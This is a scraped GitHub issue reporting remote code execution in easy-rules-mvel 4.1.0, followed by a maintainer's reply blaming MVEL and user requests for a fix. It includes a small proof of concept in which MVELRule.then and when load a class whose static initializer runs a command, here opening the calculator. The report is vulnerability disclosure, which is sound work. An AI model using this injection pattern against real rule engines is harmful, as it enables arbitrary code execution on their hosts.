We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
easy-rules-mvel version: 4.1.0
I have run code like:
try { MVELRule mVELRule = new MVELRule(); MVELRule result = mVELRule.then("jaz.Zer"); } catch (Exception e) { }
Meanwhile I hava class jaz.Zer in classpath, which content is:
jaz.Zer
import java.io.IOException; public class Zer { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } }
On Windows platform, above code will open my PC's calculator
Additional: MVELRule.when also leads to this RCE
MVELRule.when
try { MVELRule mVELRule = new MVELRule(); MVELRule result = mVELRule.when("\bjaz.Zer"); } catch (Exception e) { }
The text was updated successfully, but these errors were encountered:
It's a limitation of mvel expression language.
Sorry, something went wrong.
Hi! Do you have an update on this, is there a workaround or fix for this? I see the vulnerability is still open.
Do we have any workaround to fix the vulnerability ?
No branches or pull requests
easy-rules-mvel version: 4.1.0
I have run code like:
Meanwhile I hava class
jaz.Zer
in classpath, which content is:On Windows platform, above code will open my PC's calculator
Additional:
MVELRule.when
also leads to this RCEThe text was updated successfully, but these errors were encountered: